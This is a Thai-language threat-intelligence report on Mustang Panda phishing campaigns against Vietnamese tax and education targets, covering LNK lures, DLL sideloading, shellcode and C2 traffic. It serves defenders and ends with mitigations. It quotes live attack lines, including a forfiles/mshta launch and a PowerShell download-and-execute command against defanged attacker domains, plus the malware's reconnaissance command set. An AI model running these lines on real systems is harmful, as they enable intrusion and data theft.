ในเดือนเมษายน 2017 นักวิจัยจาก CrowdStrike Falcon Intelligence รายงานถึงกลุ่มแฮ็กเกอร์ที่ไม่เคยถูกพบมาก่อน ซึ่งกำลังโจมตีกลุ่มผู้เชี่ยวชาญในสายงานต่าง ๆ ในสหรัฐฯ ที่มีความสัมพันธ์กับจีน การสืบสวนเพิ่มเติมทำให้พบแคมเปญการโจมตีที่ใหญ่กว่านั้น โดยแสดงให้เห็นถึงเทคนิคการโจมตีที่โดดเด่น ซึ่งกลุ่มดังกล่าวเป็นที่รู้จักจากการโจมตีองค์กรภาค NGOs อย่างกว้างขวาง
Mustang Panda เป็นกลุ่มอาชญากรทางไซเบอร์ที่มีฐานอยู่ในประเทศจีน ถูกพบครั้งแรกในปี 2017 แต่มีแนวโน้มว่าได้ปฏิบัติการมาตั้งแต่ปี 2014 โดยกลุ่มนี้ได้ทำการโจมตีหน่วยงานที่หลากหลาย เช่น องค์กรรัฐบาล, องค์กรไม่แสวงผลกำไร, สถาบันศาสนา และองค์กรนอกภาครัฐอื่น ๆ ในสหรัฐอเมริกา, ยุโรป, มองโกเลีย, เมียนมา, ปากีสถาน, เวียดนาม และภูมิภาคอื่น ๆ
ในแคมเปญที่ดำเนินการในเดือนพฤษภาคม 2024 กลุ่ม Mastang Panda ได้โจมตีหน่วยงานในประเทศเวียดนามโดยใช้เอกสารที่เกี่ยวกับ tax compliance โดยเมื่อสังเกตจากโครงสร้างพื้นฐานที่ใช้ในแคมเปญเดือนพฤษภาคม 2024 นักวิจัยได้ระบุแคมเปญอีกหนึ่งแคมเปญของเดือนเมษายน 2024 ซึ่งเป็นการโจมตีหน่วยงานด้านการศึกษา
ในทั้งสองแคมเปญ การติดมัลแวร์เริ่มต้นจากอีเมลสแปมที่มีไฟล์แนบ ซึ่งไฟล์แนบจะประกอบไปด้วยไฟล์ ZIP และ RAR ที่มีไฟล์ Windows shortcut (LNK) ที่เป็นอันตราย เพื่อเรียกใช้งานไฟล์ PowerShell, Mshta และ batch (bat) หลายไฟล์ ผลลัพธ์สุดท้ายคือไฟล์โหลด DLL ที่เป็นอันตราย ซึ่งจะทำการรัน shellcode ซึ่งสามารถดาวน์โหลด และรันไฟล์ที่อันตรายอื่น ๆ ลงในระบบได้เพิ่มเติม
รายละเอียดทางเทคนิค
CRIL พบหนึ่งแคมเปญในเดือนพฤษภาคม 2024 ที่ใช้ไฟล์ LNK ที่อันตรายชื่อ “Vanban_8647_cuong_che_thi_hanh_quyet_dinh.pdf[.]lnk” ซึ่งมีค่าแฮช SHA256 "47eb43acdd342d3975000f650cf656d9f0f759780d85f16d806d6b9a70f1be46" นอกเหนือจากนี้ นักวิจัยอีกคนหนึ่งยังได้พบแคมเปญนี้ และแชร์ข้อมูลบนแพลตฟอร์ม X เช่นเดียวกัน
เพื่อหลีกเลี่ยงการตรวจจับ กลุ่มผู้ไม่หวังดีใช้วิธีการใช้นามสกุลไฟล์สองชั้น โดยไฟล์ LNK ถูกทำให้ดูเหมือนเป็นเอกสาร PDF ซึ่งเอกสารเหยื่อล่อที่ใช้ในแคมเปญนี้จะเกี่ยวข้องกับ tax compliance ซึ่งแสดงให้เห็นว่าผู้ไม่หวังดีมุ่งเป้าหมายไปที่บุคคลที่มีส่วนเกี่ยวข้องกับกิจกรรมทางการเงิน
กลุ่มผู้ไม่หวังดีใช้ข้อมูลบางส่วนจากเอกสารปลอม และเพิ่มเข้าไปในไฟล์ LNK ที่เป็นอันตรายเพื่อเพิ่มขนาดของไฟล์ และหลีกเลี่ยงการตรวจจับ
การใช้ประโยชน์จาก forfiles
สิ่งที่น่าสนใจคือในระหว่างการดำเนินการ ไฟล์ LNK จะใช้ประโยชน์จากโปรแกรมของ Windows ชื่อ "forfiles.exe" เพื่อเริ่มขั้นตอนการติดตั้งมัลแวร์เพิ่มเติม ตามข้อมูลจาก MSDN โปรแกรม "forfiles.exe" ถูกใช้เพื่อเลือก และรันคำสั่งบนไฟล์ หรือชุดไฟล์ คำสั่งส่วนใหญ่ที่ถูกใช้จะเป็นไฟล์ batch
ไฟล์ LNK ที่เป็นอันตรายนี้ใช้ยูทิลิตี้ forfiles เพื่อค้นหาไฟล์ใน path “C:\Windows\Vss” หากมีไฟล์ไหนอยู่ใน path 'forfiles' จะรันคำสั่ง PowerShell ที่ใช้ mshta เพื่อรันไฟล์ “Vanban_8647[.]PDF_update[.]hta” ที่เป็นอันตราย ซึ่งโฮสต์อยู่บนเซิร์ฟเวอร์ภายนอก คำสั่งที่รันโดยไฟล์ลิงก์มีดังนี้
- C:\Windows\System32\forfiles.exe /p C:\Windows\Vss /c “powershell start mshta hxxp://mega.vlvlvlvl[.]site/Vanban_8647.PDF_update.hta”
ไฟล์ “Vanban_8647[.]PDF_update[.]hta” ประกอบไปด้วย VBScript และมีสตริงที่ถูกเข้ารหัส ซึ่ง VBScript จะทำการถอดรหัส และรันโดยใช้ wscript ในกระบวนการถอดรหัสนี้เกี่ยวข้องกับการจัดการตัวอักษรโดยการนำค่า ASCII ของตัวอักษรแต่ละตัวมา XOR กับ 1 แล้วแปลงกลับเป็นตัวอักษรเดิม
หลังจากทำการถอดรหัสสคริปต์แล้ว พบว่า wscript รันคำสั่ง PowerShell ตามที่แสดงในรูปด้านล่าง
คำสั่ง PowerShell ข้างต้น มีสตริงที่ถูกเข้ารหัส Base64 ซึ่งเมื่อถอดรหัสแล้วจะได้ดังนี้
- IEX (New-Object Net.WebClient).DownloadString(‘hxxp://mega.vlvlvlvl[.]site/Vanban_8647.PDF.ps1’)
คำสั่ง PowerShell ที่ถอดรหัส แสดงให้เห็นว่าคำสั่งนี้รันสคริปต์ PowerShell จากระยะไกลชื่อ “Vanban_8647.PDF.ps1” ซึ่งโฮสต์อยู่ที่
- “hxxp://mega.vlvlvlvl[.]site/Vanban_8647.PDF.ps1”
DLL Sideloading
สคริปต์ “Vanban_8647.PDF.ps1” จะดาวน์โหลด และ drop ไฟล์ทั้งหมดสามไฟล์ ดังนี้
- ไฟล์ปฏิบัติการ “HP.exe” และไฟล์ “HPCustPartUI.dll” จะถูก drop ไว้ในโฟลเดอร์ “%APPDATA%\HPCustPartic”
- ไฟล์ “Vanban_8647.PDF.hta” ถูกบันทึกไว้ในโฟลเดอร์ “C:\Users\Public\”
จากนั้นสคริปต์จะดำเนินการดาวน์โหลดไฟล์ loader ที่เป็นอันตรายชื่อ “HPCustPartUI.dll” โดยใช้ไฟล์ปฏิบัติการ “HP.exe” ที่ถูกต้อง หลังจากการดาวน์โหลด DLL เสร็จสิ้น จะดำเนินการรันไฟล์ “Vanban_8647.PDF.hta”
รายละเอียดเนื้อหาของสคริปต์ “Vanban_8647.PDF.ps1”
ตัวอย่างไฟล์ "HP.exe" และ "HPCustPartUI.dll" ที่ถูก drop โดยสคริปต์ "Vanban_8647.PDF.ps1"
หลังจากดำเนินการดาวน์โหลด DLL เสร็จสิ้น สคริปต์ “Vanban_8647.PDF.ps1” จะรันไฟล์ “Vanban_8647.PDF.hta” ซึ่งจะดึงสตริงเลขฐานสิบหกที่มีความยาวออกจาก meta tag ภายในไฟล์ HTA สตริงเลขฐานสิบหกจะถูกถอดรหัสเป็นรูปแบบไบนารี จากนั้นจะถูกบันทึกเป็นไฟล์ PDF ชื่อ “Vanban_8647.PDF” ในไดเรกทอรี “C:\Users<user>\AppData\Roaming\MicrosoftCooperation\” และหลังจากนั้นไฟล์ PDF จะถูกเปิดขึ้น
ตัวอย่างเนื้อหาของไฟล์ “Vanban_8647.PDF.hta”
เอกสาร “Vanban_8647.PDF” เป็นภาษาเวียดนาม และใช้เป็นเหยื่อล่อที่เกี่ยวข้องกับ Tax Compliance
Loader DLL
DLL ที่ถูก sideload ทำหน้าที่เป็น Loader ในแคมเปญนี้ เมื่อถูกเรียกใช้งาน DLL loader จะสร้าง mutex ชื่อ “90ace125-2ec6-4e55-ac63-a4e97820094eA” เพื่อให้แน่ใจว่ามัลแวร์ทำงานครั้งละหนึ่งอินสแตนซ์เท่านั้น ภาพด้านล่างแสดงขั้นตอนการสร้าง mutex
หลังจากสร้าง mutex เสร็จแล้ว DLL จะสร้างการแฝงตัวบนระบบของเหยื่อโดยการสร้าง และเรียกใช้ “HP.exe” ที่ถูกดาวน์โหลดไว้ก่อนหน้านี้ และบันทึกไว้ในไดเรกทอรี %appdata%
จากนั้นจะดาวน์โหลดไฟล์ที่เข้ารหัสชื่อ “tempdata.dat” จาก “payment.tripadviso.online” และดาวน์โหลดไฟล์นี้เข้าสู่หน่วยความจำเพื่อดำเนินการขั้นต่อไป
ตัวอย่างการสื่อสารผ่านเครือข่ายเพื่อดาวน์โหลดไฟล์ที่เข้ารหัส
หลังจากนั้น DLL loader จะถอดรหัสไฟล์ .dat ซึ่งจะสร้างไฟล์ปฏิบัติการในหน่วยความจำโดยมีฟังก์ชัน export ชื่อ “start” แต่ไม่มี PE header
จากนั้น DLL ที่เป็นอันตรายจะส่งการควบคุมไปยังฟังก์ชันในไฟล์ PE ที่สร้างขึ้นใหม่โดยใช้คำสั่ง “CALL EAX()” ฟังก์ชันนี้ทำหน้าที่เป็น shellcode ที่เชื่อมต่อกับ C2 Server เพื่อดำเนินพฤติกรรมที่เป็นอันตรายต่อไป
ตัวอย่างแสดงขั้นตอนการเรียกใช้งาน ShellCode
การวิเคราะห์ Shellcode
ใน shellcode มีสตริงที่ถูกเข้ารหัสจำนวนมาก แต่ละสตริงถูกถอดรหัสโดยใช้คีย์ XOR หนึ่งไบต์
ตัวอย่างแสดงสตริงที่ถูกเข้ารหัสใน shellcode
ในกรณีนี้ สตริงถูกเข้ารหัสโดยใช้คีย์ 0x9 ลูปนี้จะถอดรหัสสตริงที่ใช้สร้างชื่อ mutex ดังที่แสดงด้านล่าง
เมื่อทำการถอดรหัสสตริงที่จำเป็นแล้ว shellcode จะโหลด “kernel32.dll” และหาที่อยู่ของฟังก์ชัน “CreateMutexA()” โดยใช้ API “GetProcAddress()” จากนั้นจะสร้าง mutex ชื่อ “f6e88e7f-4852-4e9f-8f5a-1895ad4b228d” ดังตัวอย่างด้านล่าง
จากนั้น shellcode จะเรียกใช้ API “GetAdaptersInfo()” เพื่อดึงข้อมูล MAC address ของระบบ จากนั้นจะเข้ารหัสข้อมูล MAC address ของเหยื่อโดยใช้อัลกอริธึม RC4 และเข้ารหัสในรูปแบบ base64 แล้วส่งข้อมูลกลับไปยัง C2 Server ที่ “back.vlvlvlvl.site” ภาพด้านล่างแสดงอัลกอริธึมการเข้ารหัส RC4 ที่ใช้ใน shellcodตัวอย่างแสดงสตริงที่ถอดรหัสแล้วที่มีอยู่ใน shellcode
ภาพด้านล่างแสดงแผนผังกระบวนการทั้งหมดสำหรับแคมเปญของ Mustang Panda
นักวิจัยสังเกตเห็นแคมเปญอีกหนึ่งแคมเปญในเดือนเมษายน 2024 ที่มีการสื่อสารกับ C2 Server เดียวกันกับแคมเปญที่กล่าวถึงก่อนหน้านี้ ซึ่งแสดงให้เห็นว่ามีการโจมตีอย่างต่อเนื่องตั้งแต่ก่อนหน้านี้ แคมเปญนี้เกี่ยวข้องกับไฟล์ zip ชื่อ “huongdan memay.zip” ซึ่งภายในมีไฟล์ LNK ชื่อ “huongdan_dangky_phuluc_so_2.docx.lnk” ไฟล์ LNK นี้ยังใช้นามสกุลไฟล์สองชั้น โดยถูกทำให้ดูเหมือนเป็นเอกสาร Word
ในแคมเปญนี้ กลุ่มผู้ไม่หวังดีใช้กลยุทธ์การหลีกเลี่ยงการตรวจจับที่คล้ายกับที่เห็นในแคมเปญก่อนหน้านี้ โดยการรวมส่วนต่าง ๆ ของเอกสารปลอมในไฟล์ LNK โดยตรง อย่างไรก็ตาม กลุ่มผู้ไม่หวังดีได้ใช้วิธีการที่แตกต่างในการนำเสนอ และเข้าถึงเอกสารปลอม ในแคมเปญก่อนหน้านี้ ไฟล์ LNK ใช้วิธีหลายขั้นตอนในการดาวน์โหลด และเปิดเอกสาร PDF ปลอม ในทางตรงกันข้าม ในแคมเปญนี้ ไฟล์ LNK ดาวน์โหลด และเปิดเอกสาร Word ปลอมโดยตรง
เมื่อเปิดไฟล์ shortcut ที่เป็นอันตราย ไฟล์นี้จะดำเนินการสองขั้นตอน ขั้นตอนแรกจะดาวน์โหลดไฟล์เอกสารที่ถูกต้องชื่อ “huongdan_en.docx” จากเซิร์ฟเวอร์ภายนอก และบันทึกลงในโฟลเดอร์ “C:\Users\Public\” จากนั้นจะเปิดไฟล์ ขั้นตอนที่สองจะดาวน์โหลดสคริปต์ PowerShell ชื่อ “init.txt” และรันสคริปต์นี้ คำสั่งที่ถูกเรียกใช้โดยไฟล์ LNK มีดังนี้
ผู้ไม่หวังดีมุ่งเป้าไปที่ชาวเวียดนาม โดยเฉพาะผู้ที่สนใจ หรือเกี่ยวข้องกับภาคการศึกษา
ตัวอย่างเอกสาร Word ปลอม
สคริปต์ PowerShell ชื่อ “init.txt” จะดาวน์โหลดไฟล์เพิ่มเติมอีกสองไฟล์ คือ ไฟล์ “newrun.ps1” และ ไฟล์ “newrun.jpg” จากนั้นไฟล์ “newrun.jpg” จะถูกคัดลอกไปยังโฟลเดอร์ startup ภายใต้ชื่อ “Updater.bat” ภาพด้านล่างแสดงเนื้อหาของไฟล์ “init.txt”
ไฟล์ “Updater.bat” ดาวน์โหลดสคริปต์ PowerShell สองไฟล์จาก “hxxp://megacybernews[.]com” ชื่อ “getdata.ps1” และ “stage2.5.ps1” และรันสคริปต์เหล่านั้น รูปด้านล่างแสดงเนื้อหาของไฟล์ “Updater.bat”
สคริปต์ PowerShell “getdata.ps1” ได้รับการออกแบบมาเพื่อกรองข้อมูลระบบที่สำคัญโดยใช้คำสั่งต่อไปนี้
- System Information: systeminfo
- Adaptor Information: ipconfig
- Network Information: netstat
- Network Information: netview
- Task List: tasklist
- User Account Information: whoami
- Username: net user $env:username /domain
- Domain Admins: net group “domain admins” /domain
- Desktop Information: Get-ChildItem ([environment]::getfolderpath(“desktop”))
- Antivirus Prodects: (Get-WmiObject -Namespace “root\SecurityCenter2” -Query “SELECT * FROM AntiVirusProduct”).displayName
หลังจากจับข้อมูลแล้ว สคริปต์จะส่งข้อมูลไปยัง hxxp://megacybernews[.]com/checkin.php โดยใช้วิธี POST
ตัวอย่างเนื้อหาของสคริปต์ “getdata.ps1”
สคริปต์ PowerShell ตัวที่สอง “stage2.2.ps1” ถูกดาวน์โหลด และรันโดยไฟล์ “Updater.bat” สคริปต์นี้มีหน้าที่ดาวน์โหลดสามไฟล์ ได้แก่ “book.dll”, “unikey.exe” และ “wwlib.dll” จากโดเมน “hxxp://megacybernews[.]com/” โดย DLL ทั้งสองไฟล์ทำหน้าที่เป็น loader และดำเนินการที่คล้ายกัน แต่มีความแตกต่างในวิธีการรัน: “book.dll” ดำเนินการโดยใช้ rundll32 ในขณะที่ “wwlib.dll” ถูก sideload โดย “unikey.exe” ซึ่งเป็นไฟล์ปฏิบัติการจริงที่ถูกเปลี่ยนชื่อมาจาก “WinWord.exe” ภาพด้านล่างแสดงเนื้อหาของไฟล์ “stage2.2.ps1”
ในทั้งสองแคมเปญ DLL loader จะดึงไฟล์ DAT ที่เข้ารหัสจากเซิร์ฟเวอร์ภายนอก, ดาวน์โหลด shellcode และเชื่อมต่อกับ C2 Server เพื่อดำเนินกิจกรรมที่เป็นอันตรายต่อไป
การสื่อสารกับ C2 Sever
ในระหว่างการวิเคราะห์ C2 Server ยังคงไม่ทำงาน ทำให้ไม่สามารถสังเกตการตอบสนองเพิ่มเติมได้ กลุ่มที่อยู่เบื้องหลัง Mustang Panda เป็นที่รู้จักกันดีว่าใช้ shellcode ในขั้นตอนถัดไป ซึ่งอาจดาวน์โหลด PlugX RAT ได้ ซึ่ง PlugX RAT เป็น Remote Access Trojan (RAT) ที่ใช้งานมาตั้งแต่ปี 2008 เป็นแบ็คดอร์ที่มีประสิทธิภาพสูงที่สามารถควบคุมเครื่องของเหยื่อได้อย่างสมบูรณ์ เมื่อระบบติดมัลแวร์แล้ว ผู้โจมตีสามารถรันคำสั่งต่าง ๆ ได้จากระยะไกลบนระบบ
คำแนะนำ
- แคมเปญนี้เข้าถึงผู้ใช้งานผ่านแคมเปญฟิชชิง ดังนั้นควรใช้ความระมัดระวังอย่างยิ่งเมื่อจัดการกับไฟล์แนบอีเมล และลิงก์ภายนอก ควรตรวจสอบความถูกต้องของผู้ส่ง และลิงก์ก่อนเปิดเสมอ
- แคมเปญนี้ใช้ประโยชน์จากเครื่องมือ forfiles ที่ถูกต้อง ดังนั้นจึงแนะนำให้ติดตามพฤติกรรมที่ดำเนินการโดยยูทิลิตี้ forfiles อย่างใกล้ชิด
- เฝ้าระวังการรันสคริปต์ที่มีแหล่งที่มาจากไดเรกทอรีที่น่าสงสัยอย่างเข้มงวด เนื่องจากผู้โจมตีทางไซเบอร์มักใช้สคริปต์ที่เป็นอันตรายเป็นส่วนประกอบสำคัญในการดำเนินการมัลแวร์
- อนุญาตเฉพาะแอปพลิเคชัน (application whitelisting) เพื่อจำกัดการรัน rundll32.exe ให้เฉพาะกับ process และ path ที่ได้รับอนุญาต เพื่อลดความเสี่ยงจากการที่มัลแวร์จะเปิดไฟล์ LNK ผ่านวิธีนี้
- ติดตั้งโซลูชั่นแอนตี้ไวรัส และแอนตี้มัลแวร์ที่มีประสิทธิภาพเพื่อตรวจจับ และกำจัดไฟล์ปฏิบัติการที่เป็นอันตราย
- เพิ่มความปลอดภัยของระบบโดยการใช้รหัสผ่านที่คาดเดาได้ยาก และไม่ซ้ำกันสำหรับแต่ละบัญชี และเปิดใช้งานการยืนยันตัวตนแบบสองขั้นตอน (two-factor authentication)
- ติดตั้งระบบการเฝ้าระวังระดับเครือข่ายเพื่อตรวจจับกิจกรรมที่ผิดปกติหรือการขโมยข้อมูลโดยมัลแวร์ และ block การดำเนินการที่น่าสงสัยเพื่อป้องกันการละเมิดข้อมูลที่อาจเกิดขึ้น
- สำรองข้อมูลอย่างสม่ำเสมอเพื่อให้มั่นใจว่าสามารถกู้คืนได้ในกรณีที่ติดมัลแวร์ และแจ้งให้ผู้ใช้ทราบเกี่ยวกับเทคนิคการฟิชชิง และการโจมตี social engineering
MITRE ATT&CK® Techniques
Indicators Of Compromise
ที่มา : cyble
You must be logged in to post a comment.